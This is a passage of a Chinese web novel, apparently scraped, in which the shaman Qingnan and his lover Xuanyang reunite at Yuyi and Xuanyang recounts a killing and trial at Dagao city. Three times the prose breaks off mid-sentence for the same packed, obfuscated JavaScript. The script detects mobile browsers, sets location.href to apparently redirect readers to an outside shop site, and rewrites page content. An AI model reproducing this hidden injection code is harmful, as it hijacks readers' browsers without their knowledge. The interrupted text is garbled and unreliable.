屋内传出女仆哄女婴的声音,女婴正在啼哭,不会言语,青南从不知她因何而哭,是饿了吗?冷了吗? 青南的妹妹还在襁褓之中,无法交流。 瘟疫到来前,其实有征兆。 先是一场风暴来袭,暴雨紧随而至,连续下了好几天,青南见人们冒雨在屋外疏通水沟,也看见一些从宫城外面逃进来的人,他们狼狈又疲倦,说外面像海一样。 狂风暴雨之下,连门窗紧闭的室内都不再暖和,雨水会从窗沿门缝里钻进来。 寒冷,还有恐惧,恐惧摇晃的屋檐会被风暴掀走,恐惧墙壁会在雨水侵蚀下坍塌,失去庇护。 自从来到人世,青南遭遇过几次风暴,人们说风暴是神在发怒,发怒的神从天界派出一只会带来灾厄的巨鸟。 巨鸟用羽翼不停掀起海风,海风携带雨水来到人类的居住地,将饥荒,瘟疫和死亡降临人间。 神为何厌弃人类? 狂风带来暴雨,洪水淹死野兽和家畜,尸体浮荡在羽邑的河道,水泽里,它们肿胀、腐败。 尸体污染水源,瘟疫在人群中蔓延。 瘟疫带走许多人的生命,包括青南的妹妹和父亲。 无论老幼青壮都难逃的死亡,生与死仿佛没有了界限,令人麻木。 参加完父亲的葬礼,回到狼藉的家宅,青南形只影单。 瘟疫平等的袭击每一户人家,有的家庭绝户了,屋舍空寂,亦有不少人弃城而去,永远离开这片伤心地。 站在花草枯萎,露出破败景象的庭院里,青南觉得自己与世间的任何人都没有了联系,世间再没有他在乎的人,与在乎他的人。 就在这时,青宫大覡拄着神杖出现在青南家院门外,扫视枯叶飞舞的寂寥宅院,目光落在孤零零的青南身上,他用惋惜的口吻,说出一句羽人族的俗语:“美玉终有碎时。” 自此,青南进入青宫,并在后来成为青宫之覡。 叹息美好的事物总是会被毁去,也是劝诫世人,任何东西都无法永恒,不必沉湎。 美好的事物,可以是一件美玉,它是人们立即就能想到的美好载体,是一件精美绝伦的漆盘,也可以是健康、是青春、是爱情。 爱情。 美玉终有碎时。 下方传来居民的话语声,青南不再回忆过往,他发现是几个刚从城外回来的居民,他们正在大声交谈,谈理季被处决的事。 理季面朝下趴在沼泽地里,生命从身体流逝,灵魂破灭,他的身体冰冷,僵硬,如同一截木头。 青南站在阑干前,往远方眺望,他其实看不见那具尸体,沼泽地里野蛮生长的植物掩去了死亡的恐怖景象。 羽邑王国存在时,是何等恢弘已经无法想象,在它死亡后,就像头巨鲸陨落般,成为鲸落。 距离羽邑王国灭亡已有两百年,人们还是会在它的尸体上——羽邑,发现属于旧时的王器,这些王器仿佛真得会带来厄运,使获得它与争抢它的人都遭遇不幸。 神玉也是王器的一种,它们在羽邑王国时期被技艺最精湛的玉匠制作出来,仅供羽邑的王族使用。 青南身上佩戴好几件神玉,羽冠发髻上玉梳,腰间的玉佩,它们都是传世品,由羽邑王族代代传承。 会否,它们也会给拥有者带来灾厄,羽邑的王族衰落凋零,距今所剩无几。 青宫后院有棵年岁久远的木荷,高大挺拔,予人直插云霄的错觉,它正值花期,满树白花,芬芳美好。 羽邑下了好几天雨,终于放晴,青南路过木荷树时,听见青露用欢喜的声音说:“覡鹭,是天虹。” 手指向远方的林谷之间,那里出现一道彩虹。 这个少年提着竹篮,竹篮里装满新捡的木荷花,他的眼眸闪闪发光:“天虹出现,今年不会有水灾了。” 彩虹不是经常能看到的东西,又颇为美丽,在羽人族的传说里,不认为彩虹是一种自然现象,而是一头吸水的双头怪。 要是在缺雨年份出现彩虹,会担心它将带来旱灾,这些年来羽邑下了太多雨,影响农作物生长,吸水怪反而成为吉物。 看向彩虹,仿佛在看世间的花草山川,青南不信什么吸水怪传说。 “你捡拾王花做什么?” 后院的地面上尽是凋谢的木荷花,有的遭雨水冲刷花朵零散,也有不少刚刚坠落,新鲜完好。 树唤作王木,花便唤作王花,传说羽邑还有王的时候,国王和王妃都喜欢佩戴王花。 “巫鹤说将王花晒干,制作成香包,随身佩戴,能避疠气。” 青露蹲下身,从花堆中挑选出两朵新鲜的木荷,他抬起头,表情很认真:“还说到秋日,天地之间会汇聚疠气,使人染病。我想多采集一些,到时就能用上。” 进入青宫的孩子,日后会成为巫覡,这些孩子在进入青宫前,往往失去至亲,也许死于水灾,也许死于瘟疫。 青南弯下腰,从地上捡起一朵刚掉落的木荷花,洁白的五片花瓣,鹅黄色的花蕊,柔软娇嫩,轻轻嗅闻,散发着沁人心扉的香气。 “疠气有许多种,病症各不相同,花虽香,却不是良药。” “覡鹭,疠气有治疗的办法吗?” “有。” 这个回答似乎让青贞很高兴,青南没有实说,大部分疠气其实没有治疗的方法。 疠气,也就是传染病。 “巫鹤呢?” “巫鹤和青贞在草药屋里,她们要熬毒树汁毒老虎,说要熬一天才能熬好。覡鹭,我花捡好了,我也要去找她们。” “城郊那头老虎是头母虎,也许在附近有它的巢穴和虎崽。” “覡鹭已经见过那头老虎吗?我听乌狶说,要杀那头大老虎至少要六个猎人,还需要很多毒箭。” “吼声,能从老虎的吼叫声辨出雌雄。” 野外有许多动物,有时也会远距离遭遇猛兽,艰苦的旅行让青南收益颇多,他学会辨认各种野兽的声音。 毒树汁,顾名思义,就是从一种有毒树木身上割取汁液,再将汁液熬制成浆,涂染在箭镞上,制作成毒箭。 每个猎人都会制作毒箭,出自青宫的毒箭能让猎人勇气倍增,让他们深信自己受到神的庇护,并被神赐予神力。 一个晴朗天,羽邑的猎人结伴出城,他们背负捕猎的工具,箭箙装满来自青宫的毒箭。 他们前往林地捕杀那头总是在居民区外围游荡,威胁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732439|143189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到每一个人性命的老虎。 森林将羽邑紧紧包围,猛兽时常出没,在荒寂的大地上,他们与猛兽为邻。 沼泽地上,属于理季的尸体早已不见,不是被沼泽吞噬,或被野兽拖走,而是他舒塘的族人过来收尸。 羽邑的孩子出去捡拾鸟蛋,都会绕过那一片沼泽,他们已经开始讲关于理季鬼魂的故事,更会避开老虎出没的地方,以免自己也成为鬼魂。 乌狶在猎虎的猎人之中,他是猎人小队的带队人,不是经验最老道,箭术最好的人,但最勇猛无畏。 巫鹤站在城楼上,目送猎人离去,她的声音清冷:“你觉得不只一头老虎,还有虎崽?应该叫猎人杀掉老虎后,仔细搜寻,不能留下后患。” “即便是乳虎,猎人也会杀掉它们。” 旅程中,青南见过乌狶杀死毒蛇、狼、野猪,杀死任何威胁到人的动物。 在旅途上,大多数时间都是与野兽为伍,偶尔才能找到人类聚落,身处野外,青南不只一次感觉到野兽才是自然的主人,人不是。 “覡鹭不赞同猎人的做法?” “如果不是猎人,我早就在野兽腹中。” “你这趟旅行很艰辛吧,旅行就是这样。我听说你没能带回覡鹳的消息,你觉得他还活着吗?” “也许还活着,也许很多年前就死了。” “大覡已经年迈,病痛使他再无法踏出青宫一步。青宫需要一位能让簇地忌惮的继承者,我们需要覡鹳。你还会继续寻找覡鹳吗?” “我不知道,还能去哪里找他。” 青南的回答有些冷漠。 “我由覡鹳带大,却将寻找他的责任推给你,你会怪我吗?” “巫鹤,我谁也不怪,相反,出使五溪城使我收益甚多……”青南脑中闪过好几张笑脸,那是五溪城友人的脸庞,最终在玄旸的脸上定格。 “即便我们找到覡鹳,可能也无法改变羽邑的现状。巫鹤,人会衰老,草木会枯黄,城也一样,终有衰败的一天。” 巫鹤不再说什么,她望向前方浓密的森林,猎人们正在靠近林地,和周边高大的树木相比,他们的身影显得很小,很小。 夏日过去,秋天到来,城郊稻田里的水稻开始从绿色变为黄色,在周边一片绿意中显得瞩目。 还没到秋收的季节,羽邑的居民除去伺候农田外,更多的时间仍旧花费在采集、捕鱼、狩猎上。 日子似乎没有什么不同,如果硬要说有什么不同以往的地方,便就是尾埠的工匠比平日忙活,制作出远超他们需求的陶器和木器,还有骨器与石器。 秋收前后,是各聚落之间进行交易的时节。 以往秋日到来,住在委麓的贸易小队会拜访羽邑,他们携带劣质的玉料,或者做为工具的燧石,制作颜料的彩石等物,跟羽邑互通有无。 秋收过后的一天,秋高气爽,城中广场上晒满谷物,青南在居室内都能听见窗外人群的喧哗声。 青宫收藏竹文的库房靠近民宅,不过有高低差,库房内的人往窗外一瞥就能见到下方居民活动的情况,下方的人垫脚仰头也看不见窗内的人。 青宫的建筑座落在一座由人工堆积的巨大高台上,青宫居高临下,将宫城一览无遗,巫覡不用下来,就能知道宫城内发生的事情。 今日比平时吵闹,这引起青南注意,他走到窗前一看,看到一伙陌生人出现在广场上,是委麓人,他们喜欢将额头用赭石涂红,头领戴着一顶用猪牙装饰的红色羽冠。 委麓人也出自羽人族,属于羽人族朱羽部。 吸引青南注意,引起大部分孩子围观的人,并不是戴朱色羽冠的头领,而是一名个头特别高的年轻男子,从装束看,他是岱夷族。 离得远,无法看清长相,可是那人的仪态,抱胸的姿势都极其熟悉。 只是一眼,青南的心便狂跳不止,不敢确认眼前所见,不愿辨认。 如果看错了,紧随而至的失望恐怕会像沼泽地里的泥潭一样将自己吞噬。 如果真是他? 他怎么会出现在羽邑。 15.第 15 章 数月前五溪城 晨曦从门窗的缝隙照进室内,室内不再昏暗,玄旸的眼睛很快适应环境,能看见昨夜共眠的人,此刻正侧卧在身旁,并在无意识下将身体倾向自己。 玄旸的一条手臂还搭在对方身上,保持搂抱的姿势。 刚醒来那会,感到很不真实,当玄旸伸出手轻轻触碰对方的脸颊,才确认他真实存在,绝非幻梦。 “青南。” 低喃,拨开他凌乱盖住半边脸颊的长发,露出柔美的睡容,还在沉睡。 昨夜玄旸无法克制,恣意纵情,事毕后,对方过于疲倦,陷入昏睡。 指腹轻轻碰触他额头上红色的神徽图案,玄旸直视它毫不畏惧。 入睡前的亲密和缠绵都记得,能使人短暂失忆的褐果果然在自己身上不起作用。 可惜,没能如你所愿。 玄旸笑着将人环抱,笑意又渐渐从嘴角消失,听着怀中人均匀的呼吸声,看见钻入木窗缝隙,耀眼的一束晨光。 “青南……” 迷恋的,依依不舍地吻别,只是轻吻。 不想唤醒他,不想说再见,玄旸想就这么离去也好。 和青南的每一次离别,都让玄旸感到愧疚。 必须离开,伙伴们正在等候,他们将启程前往大皋城。 穿戴好衣物,再次低头凝视熟睡的恋人,以手做梳,梳理他柔软的长发,抚摸脸庞。 玄旸收回手,站起身,他麻利地扯下腰间系的象牙雕筒,放在青南怀里,又取走青南案台上的玉梳,揣进怀中。 匆匆离去,义无反顾。 “青南。” 呢喃着名字,手指在身上摸索,玄旸在找寻青南的玉梳,没能摸着,焦急的情绪使他从睡梦中醒来。 两张脸凑过来,一张少年的脸,一张小孩的脸,小孩说:“你睡好久,一直在睡觉,现在是晚上了。” 少年将一大杯热汤递给玄旸,坐在一旁,好奇盯着他。 身处野外,篝火就在不远处,篝火旁还有三个人,正围着篝火吃东西,交谈。 玄旸一口气喝完热汤,放下陶杯,环视周边的人,他记起这些人是什么人。 “你睡觉会说梦话,说的还是羽人族的话,是不是认识我们羽人族的姑娘,我听你一直在唤她。” 少年蹲在一旁,托着腮,他非常好奇。 “玄旸,你真得是岱夷吗?我还是第一次遇到岱夷,岱夷是不是都长这么高?”小孩没离开,还守在一旁。 “你们别去烦他,他身上有伤要休息。” 坐在篝火旁的壮汉发话,他头上戴着朱色羽冠,羽冠上还有猪牙装饰,看装扮,应该是这伙人的头领。 “没事,我长长睡一觉,好像活过来了。” 玄旸伸伸懒腰,回答头领,看向聚在身旁的少年和小孩,又说:“不是姑娘。岱夷的部族很多,有的高有的矮,差别比野猪和跳蚤还大。” 在小孩的笑声中,玄旸把手摸向腰间,摸到布袋里的玉梳,冰凉的触感,让他感到舒心。 “那是不是都像你这么能打,你被大黑熊抓伤,还能一个打我们五个,我阿爹都打不赢你!” 小孩张开手掌,露出五个手指头,表情很激动,目光里充满崇拜。 一名妇人端来一碗蒸米饭,和用陶盆盛的肉汤,摆在玄旸跟前,笑语:“他当然厉害,没点本事,谁敢一个人旅行。” 又对玄旸说:“你不怪罪就好,他们突然遇见你,还以为是遇见头熊。” “多谢。我当时的模样很吓人吧。” 玄旸感谢她提供的食物,醒来后就觉得饥肠辘辘。 “我都快被你吓死!大清早突然从野地里钻出一个影子,那会雾气还没散,也不知道是人是鬼。我朝你投矛,谁知道你一下子就蹿过来,我只觉得被什么东西打一下,人就倒在地上,爬也爬不起来。”少年讲述今早遭遇的事情,他揉揉自己还很疼的肩膀。 “我也是,我手里的弓刚举起来,人突然就被打飞,还以为是撞见鬼怪咧。” 篝火旁的一名年轻男子说时,不忘举起自己经过包扎的手掌。 玄旸听他们讲述,大口干饭,他其实不记得具体过程,都打了谁,又怎么打。 他一直在赶路,一个人没有伙伴,夜间要守夜,提防野兽,天亮才能小睡一会,严重缺眠,疲惫不堪。 在遇见这伙人前,玄旸刚杀掉一头袭击他的大黑熊,把熊皮剥下,搭在肩上,新鲜熊皮还在淌血。 他早年跟舅舅旅行,途径过当地,知道附近有一个叫委麓的羽人族聚落,决定去那里歇脚,好好休整下。 才和熊搏斗,又累又倦,去往委麓的路上又突然遭遇袭击,玄旸立即进行反击。 好在只是一场误会,他遇到的正是来自委麓聚落的人,这些人背上玉料和彩石,要去其他聚落做交易,正巧路上与他遭遇。 见年轻男子展示自己的伤手,玄旸说:“你可别怪我,我要不是手脚还算灵活,早被你一箭射死。” “不会不会,我要感谢你留我一条性命,连大黑熊都能被你一矛扎死,你要扎我,我肯定没命。玄旸,你是岱夷族的猎人吗?” “不是。” 玄旸已经吃完一碗饭,正在喝肉汤。 戴朱羽冠的头领把啃干净的一根骨头丢进篝火,他透过火焰,泛着光的圆眼直直盯着玄旸,用十分肯定的口吻说:“猎人我见多了,他肯定是岱夷族的勇士。” “玄旸,你来到羽人族的土地,是受什么人差遣吗?”妇人已经回到篝火旁,她坐在头领身旁,伸出手烤火。 妇人和头领关系亲密,是一对夫妻。 “我嘛,在羽邑有个亲人,我想去看看他,顺便在羽邑过冬。” 喝完热乎乎的肉汤,玄旸惬意卧下,手臂做枕,仰面对着星空。 长路漫漫,终于来到羽人族的土地,离羽邑已经很近,很近。 秋高气爽的好天气,玄旸站在羽邑的广场上,环视既熟悉又显得陌生的四周,他终于来到羽邑。 身旁尽是围观的大人和小孩,尤其小孩子的兴致最高。 “哇,他好高呀!” “他也是委麓人吗?” “肯定不是,他不是羽人族,是异乡人。” “你看,他的弓和我们的不一样。” “哈哈我摸到了,这个是什么?上面还有好多个孔,好像可以吹出声?” 一个调皮的小男孩一直盯着玄旸腰间挂的各种物品打量,还忍不住伸手去摸。 这些物品令人眼花缭乱。 小男孩正在得意,发现来自异乡的“巨人”正用鹰隼般犀利的目光瞪向自己,他心虚的倒退一步,害怕。 其他小伙伴们立即收敛,把摸人家斗篷,扯人家布袋的小手缩回去。 玄旸纯粹是在吓唬小孩,他板着脸,用凶狠目光盯小孩,突然摘下挂在腰间的陶埙,蹲下身问那个畏畏缩缩的小男孩:“这是地中族的乐器,他们管它叫‘埙’,你想吹吗?” 哑笑的声音,说的还是相当流畅的羽人族语。 孩子们都惊呆了,七嘴八舌,很快又围上去,争先恐后,都想要摸摸看看那个新奇玩意,并亲自吹奏。 委麓人和羽邑的居民很熟络,他们一进城就受到欢迎,很快就有居民邀请他们去家中住,戴朱羽冠的头领回过头来,见玄旸还被孩子们纠缠,喊他:“玄旸,你要找的人唤什么名字?我帮你问问。” “他人就在上头。” 玄旸抬起头,望向一栋位于高台上的古老建筑——青宫,高低差,使他无法发现其中有一扇窗户内正站着青南,却很笃定,青南就在里头。 “你要找的人……难道是青宫的神使?” 朱冠头领很吃惊,玄旸说要找亲人,他是岱夷族,怎么可能有个住在青宫里的亲人。 青宫是个肃穆,甚至有几分可怕的地方,住里头的巫覡,都冰冷得像羽邑饱经风霜的城墙。 “是,青宫之覡。” 玄旸嘴角扬起,露出一个温柔得让人感到意外的笑容。 “朱岗,你们这一路从委麓过来,肯定累坏了,快到我家歇息!” 一名羽邑居民拉住朱羽冠头领的手臂,十分热情。 “先到我家来,我那住尾埠的侄子正想找你们交易玉石,他可是尾埠最好的玉匠!” 另一名羽邑居民也想款待他们,携带交易物品的队伍总是受人欢迎。 “旸哥,你要跟我们住一块吗?” “旸叔。” 委麓人队伍里的少年和小孩都在唤玄旸,随后他们就被热情好客的羽邑居民拉走。 做出一个“你们去吧”的手势,玄旸留在广场上,他身边还是围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13736934|143189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 簇着一群人,不只是小孩,还有大人。 羽邑极少有异乡人到来,何况还是一个会说羽人族语的异乡人,人们越发好奇,想知道他从哪里来,又是从哪里学会羽人族的语言。 “你不就是……舒纪的外甥吗?当年那个射野猪的岱夷孩子,叫什么名字,我想想,哎年老了记性不好。” “老叟,你刚刚没听见委麓人喊他‘玄旸’吗?” “玄旸?我想起来了,你是好几年前那个岱夷来的神弓少年!” 羽邑的居民终于想起眼前这个大高个异乡人是谁,从记忆的角落里找出来。 “是我。” 玄旸把重得很的行囊卸在地上,他往行囊上一坐,模样悠哉,被他坐在屁股下的是好几张鹿皮,还有一张黑熊皮子。 “旸哥,我是仲溪,你还记不记得我?我家就住在青宫门外,小时候我经常找你玩耍。” “还有我,我是菱角,小时候我还跟你一起钓过泥鳅呢!” 玄旸已经不记得他们,他是个旅人,生活中有无数的过客,无数张面孔短暂出现又消失:“你们俩几年不见,变化可真大。” 随后,又挤进来几个年轻人,有男有女,他们都还记得玄旸。 那年,还是少年的玄旸坐在羽邑城墙上射杀糟蹋稻田的野兽,他拥有出众的技艺,给当地居民,尤其孩子留下深刻印象。 盛情难却,玄旸被那位叫仲溪的昔日伙伴邀回家,仲溪家就在广场旁边,是一栋干净漂亮的白坯房子。 晚饭刚吃完,外面的天就黑了,仲溪的妻子在案旁忙碌,小孩在院子里玩耍。 “你今晚在我家睡,我家有地方,我刚把房间里的火塘烧起来,等会就又舒服又暖和。” “仲溪,我得走了。” “啊?” 玄旸站起身,把行囊提在手上,他行动敏捷,还没等主人反应过来,人已经走向门口。 忽然又回过头来,没头没尾问:“我记得你家屋后有条溪吧?” “有。”仲溪点头。 “我得收拾一下自己,好几天没洗澡,身上又腥又臭,可不能就这样去青宫。” “旸哥,我记得你以前和青宫的覡鹭最要好,这次来羽邑也是要去找他吗?” “是要找他。” “秋天溪水冷呀,旸哥别急着走,我给你烧热水。” “不用,我习惯了。” 玄旸大长腿步子迈得大,很快就从眼前消失,等仲溪发现案上放着一条漂亮的红绳项饰,项坠是颗玛瑙珠,连忙抓着它追出去,大声喊:“旸哥,你落下东西!” “给你家小孩。” 那个高大身影从院门处一晃就不见了,黑暗中只听见这样一句话。 当地不产玛瑙,对羽人族而言玛瑙珠是极贵重之物,是平民无法获取的奢侈品。 夜风带走肌肤上的水渍,也带来冰凉,玄旸披散头发,换上干净衣服,携带行囊,他来到青宫门口,往上一望,望见阑干上伫立一个颀长身影,那身影看起来颇有些寂寥,似乎已经在那里等候许久。 即便没有照明,玄旸凭借月光还是认出那个魂牵梦萦的身影。 扔下那堆笨重,碍事的行囊,玄旸快步登上阶梯,阑干上的青南闻声回过头,就见到一个黑影朝他奔来,那人一把揪住他衣袍,瞬间将人按在墙上,力道很大,那样的冲击力下,再一秒背部就该撞在墙上,却没有被撞疼,玄旸用自己的手臂做缓冲。 恶狠狠的动作,细致处的温柔,剧烈的拥抱,亲吻。 面具什么时候被推上去,青南根本来不及反应,在骇人的气势下,是熟悉的体温和气息,令人差点窒息的长吻。 衣袍被这家伙抓扯得凌乱,羽冠歪斜,身体被压制得动弹不得,青南的手指也是紧紧攥住对方半干的长发,力气之大,连他自己都没察觉。 等两人分开,才发现自己的手指上挂着几根发丝。 青南沉沉喘气,想平息内心激荡的情感,他试图推开这个莽夫,却使不上劲,玄旸仍用力量压制人,结实的手臂还环抱着他。 “你一直在上面等我?”玄旸嗓音低沉,亲着青南耳边的鬓发。 “你来羽邑做什么?” “看你,我还打算在这里过冬。” 他们身处在青宫高大的阴影之下,黑暗中,没有人发现那里有两个相拥的人。 16.第 16 章 青宫又大又破败,十分空寂,它有无数个空房间,唯有极少几个房间住人,也还能够住人。 青南的住所位于青宫十分偏僻的北区,出院门便是水池,在羽邑地表还存在宫殿的时空里,这处水苑,正是羽邑国王的宫苑,种满奇花异草,养有珍奇异兽,而今,不过是处荒凉的冬日水池。 夏日,水池里会开满荷花,又是另一番景色。 自从进入青宫,青南便住在这里,没换过房间,早些年,他隔壁还住着另一位青宫之覡,没那么寂寥,只是那人已经物故。 青南没想过搬离这里,搬去青宫的东区,那边相对热闹些,青宫的其余人员都住在那儿。 月光洒在熟悉的水域上,泛着银色清冷的光,皑洁的月光照不进紧闭的门窗,那里不是它可以窥见的区域。 壁龛上的油灯提供有限的照明,于漆黑中,一点点光都会让眼睛竭力捕捉物体轮廓,青南看见汗水凝聚在玄旸鼻尖上,额上的发梢滴落汗珠,光影之下,他的眉眼深邃。两人的呼吸声从急促而沉重,逐渐舒缓松弛,青南察觉施加于自己身上那股强劲的力量也在离开,哪怕这样,他也已瘫软乏力,不能爬起身,索性靠着对方,任由那双手臂搂着,一同入睡吧。 即便很疲乏,还是没有睡意,不久之前,他们刚重逢,在激烈情感的支配下,他们无暇顾及其他,此刻终于平静下来。 触碰玄旸胸前长长的已经结痂的伤,这样的伤痕有三道,深浅不一,青南脸贴在心脏的位置,仔细观察,他确定:“是熊。” 又看向被玄旸扔在地上的行囊,行囊里边果然有一张熊皮。 “是一头到营地翻找食物的老熊,它袭击我时,我正困乏得不行,没留意在胸前被它挠了一爪。” 玄旸握住青南的手,他低头亲人,在舒适暖和的屋檐下,拥着喜欢的人,是非常惬意的事。 “没有人守夜?” “我独自一人,那会还没有遇到委麓人,没跟他们结伴。”玄旸将一只胳膊垫在后脑勺上,用作枕头,另一只手臂仍搂着青南。 他的脸仰起,眼睑低垂似在回忆,面部轮廓在昏黄灯火下稍显清瘦。 和几个月前在五溪城分别时相比,青南发现他的确实消瘦一些,独自一人的旅途难苦且疲惫,尤其是在地广人稀,原始森林密集,遍布猛兽的南方地带。 不只是独自一人,夜间得不到休息那么简单,玄旸一直在赶路,不停赶路。 “这间屋子,还是我们以前住的那间,这么多年来,我看没多少变化。我还记得那只黑陶壶,当年我们往里边存放蜂蜜,拿羽邑的甜米糕沾蜂蜜吃,那是我吃过最甜的东西。”玄旸手指一面墙,墙上的壁龛上摆放陶器,其中有一只制作精美的黑陶贯耳壶。 羽人族的贯耳壶与岱夷族的陶背壶一样,都是具有族群特征的陶器,在别的地方看不到。 甜米糕,蜂蜜,舌尖仿佛又尝到它们的味道,那个两人在少年时期相识的夏日,给青南留下很多回忆,看来对玄旸也是。 不想追忆往昔,会让青南想到甜美的夏日过后,和玄旸的分离,那场猝不及防的分离曾带给他失落与苦涩。 “你在大皋城的事办完了?” “我能有什么事,是玄邴要娶妻,不过那确实是件麻烦事。” 爬梳青南耳边的发丝,玄旸难得叹声气:“我们在去大皋城的路上,杀了大皋城的任灰,你在五溪城见过他,就是那个外号叫灰犬的家伙。” “为何杀他?” “误杀。”玄旸侧过身,搂住对方脖子,他闭着眼睛,脸庞露出疲态,这份疲态是前段时日积累的,极少在精力充沛的脸上浮现。 青南试着伸出手臂去环抱对方宽厚的背部,这种感觉实在微妙,像似在给予慰藉。 “在五溪城时,麂子跟人喝酒,不小心说漏嘴,告诉别人我们身上携带水晶,要去大皋城下聘。水晶自此被人惦记上,后来竟遭到偷窃。 有一个叫滕织的江皋族聚落,是去大皋城的必经之地,我们去大皋城前,也在这个聚落过夜,事情就发生在这里。后来,我们才知道滕织是任灰的母家。 我们在滕织入宿,第二天清早,收拾行囊正准备上路,玄邴突然找不到身上装水晶的布袋。推测昨夜参加聚会,一大群人挤在一起饮酒,没留意教人偷走。昨夜在聚会上遇到任灰,便怀疑是他。 当时推测,任灰有可能在五溪城知道水晶的事,他想要窃取水晶,便在滕织等候我们,谋求机会。”玄旸爬梳青南的头发,拨开额前湿淋淋的发,露出额上的神徽。 “你说是误杀,难道偷窃的人其实不是他?”青南的手指摸上玄旸的脸庞,遮住他的眼睛,不让玄旸端详自己额头上的神徽。 “是他。” 握住对方遮挡视线的手指,玄旸继续往下说:“按任灰伙伴事后的说辞,任灰就是想抓弄我们这些异乡人,偷走水晶,让玄邴无法迎娶大皋城城主的漂亮女儿。 我见过不少年少轻狂,爱招惹祸端的年轻人,任灰是其中一员,如果他身份普通,早年得到教训,他会收敛,可惜没有。我们也是事后才知道,他是大皋城城主夫人的侄子。 经过询问,很快得知任灰连同他的伙伴已经连夜离开滕织,我们立即追截,那帮家伙远远望见我们便分开逃跑。他们分开逃跑,我们分开追,我擒获其中两人,并从他们身上搜到丢失的水晶。 我返回时,就知道事情不妙,任灰躺地上已经半死不活,胸前插着一支箭,口里不停吐血。麂子吓傻了,杵在一旁,玄邴跪在地上,不停擦拭任灰嘴角的血。” 玄旸没法再往下讲述,他合上眼睑,任灰垂死前的模样浮现在眼前,被打得鼻青脸肿,年轻的脸上又是血又是泪。 麂子的脸上也有不少伤痕,那是暴力互殴留下的痕迹,玄邴手脸很干净,没动过手,但玄旸在他身后背的箭箙中,看见了不愿看见的真相。 “本不该发生这种事。” 玄旸摇了摇头,重复一遍:“不该发生这种事,我了解他冲动的性格,我应该留下追任灰,让麂子和玄邴去追其他人。” 懊悔,因为自己的疏忽。 可是悲剧本来就无法预料,并且以猝不及防,极其惊悚的方式发生。 青南低声问:“玄旸,是麂子,还是玄邴杀了任灰?” 一阵沉默,玄旸没有明说。 青南没再问,他明白是谁杀的其实已经不重要了,在联姻之前杀了对方的人,别说当亲家,已经成仇家。 “后来呢?” “我们将任灰背回滕织,还没到滕织,他就咽气了。滕织人要求我们交出凶手,麂子站出来,说是他射杀任灰。 滕织人要处死麂子,我和玄邴要求去大皋城,这件事由大皋城城主来审判。 愤怒的滕织人可不好应对,很快又打起来,他们没打赢,经过交涉,同意将麂子押往大皋城。” “滕织如果没有武士,只是一些猎人,不可能打赢你们,他们是被迫同意吧。” 青南见识过玄旸的武力,况且岱夷不仅出神弓手,在体格上也比较高大强壮,玄邴和麂子应该都不弱。 玄旸没否认,他继续讲述:“我们在大皋城的处境同样艰难,一度还遭到驱逐,麂子被关押,都在意料之中。期间进行过一次审判,有不少氏族族长参加,大部分人认为任灰有过错在先,麂子不该抵命。 任灰的家人一直要求处决麂子,夫人也时常向大皋君哭诉,我从中周旋,可惜没有任何用处,麂子被大皋君宣判死刑。” 大皋城的城主,也称作:大皋君。 玄旸讲述这段经历时,语气平缓,没有任何情感起伏,他的陈述很简略,但能想象当时的处境是何等艰辛。 青南问:“死刑执行了吗?” “没有。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741069|143189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 玄旸继续往下说:“大皋城还保留一些老习俗,比如处决罪人,会在广场上立起刑台,将罪人绑在刑柱上。麂子即将被行刑,玄邴登上刑台,当众说出真相:是他杀死任灰,大皋君不能处死无罪之人。” “哦。”青南反应平淡,他其实猜到真凶是谁。 “当时任灰被麂子和玄邴追上,他不慌乱,言语比较嚣张。麂子与任灰厮打在一起,任灰不是对手,被按在地上挨了一顿打。玄邴在场,只是旁观。 麂子发泄完怒火,听见玄邴的叫唤,转身离开,任灰从地上爬起来,忽然拔出匕首就冲向麂子。事发紧急,确实容不得思考,玄邴朝任灰射出一箭,救下麂子。” 听完玄旸的讲述,青南能想象那时的情景,两个同样年轻气盛,性格冲动的人,在愤怒至极的情况下,一人发狠暴打对方,一个被痛揍后,拔出匕首只想捅死对方。 青南问:“大皋君该怎么处置,看来他既不能杀麂子,也无法处决玄邴。” 玄邴是玄夷城城主的儿子,身份不同一般。 玄旸回答:“麂子被释放,玄邴没有遭到追责。每个氏族都有古老的规矩,有一项规矩,在各部族间通用,这个规矩即是:为救人而杀人者无罪。” “确实,我们羽人族也有类似的规矩。不过老规矩人们往往不会遵守,只有固执又守旧的人,才用上古的规矩约束自己。大皋君不想杀玄邴,才支持这个古老规矩吧。” 玄旸将青南揽入怀,低喃:“青南,人性很复杂。” “你们就此离开大皋城,返回岱夷?” 枕着对方结实的肩膀,青南推测后续。 